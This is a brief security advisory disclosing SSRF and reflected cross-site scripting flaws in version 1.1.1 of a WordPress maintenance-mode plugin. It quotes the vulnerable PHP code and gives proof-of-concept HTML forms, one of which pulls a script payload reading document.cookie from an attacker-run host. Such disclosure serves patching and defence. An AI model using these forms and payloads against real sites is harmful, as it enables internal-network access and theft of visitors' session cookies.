There are SSRF and RXSS vulnerabilities in the WordPress plugin Under Construction, Coming Soon & Maintenance Mode version 1.1.1. Both vulnerabilities are fixed in version 1.1.2: https://wordpress.org/plugins/under-construction-maintenance-mode/#developers [1] SSRF Here is the relevant code from file includes/mc-get_lists.php: $apiKey = $_POST['apiKey']; $dataCenter = substr( $apiKey , strpos( $apiKey,'-' ) + 1 ); $url = 'https://'. $dataCenter. '.api.mailchimp.com/3.0/lists/'; The user submits the POST parameter "apiKey", and the code constructs a https URL from it without any sanitization and then retrieves it with cURL, which leads to a SSRF bug. POC: <form method="post" action="http://attacked.server/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php"> <input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" /> <input type="submit" value="Submit!" /> </form> [2] RXSS The code in the same file decodes JSON data fetched from the URL and then displays HTML code from the retrieved data without any HTML escaping, leading to a reflected cross-site scripting issue where the payload is on a different server. POC (attacked.server runs WordPress with a vulnerable version of this plugin, and hacker.server is run by the attacker): <form method="post" action="http://attacked.server/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="ucmm_mc_api" /> <input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" /> <input type="submit" value="Submit!" /> </form> test.json: [[{"id":"<script>alert(document.location);alert(document.cookie);<\/script>"}]] // Mr.F in 2021